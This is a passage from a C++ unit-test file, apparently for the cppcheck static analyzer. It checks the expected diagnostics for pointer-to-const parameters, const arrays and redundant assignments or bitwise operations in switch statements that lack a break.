k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" 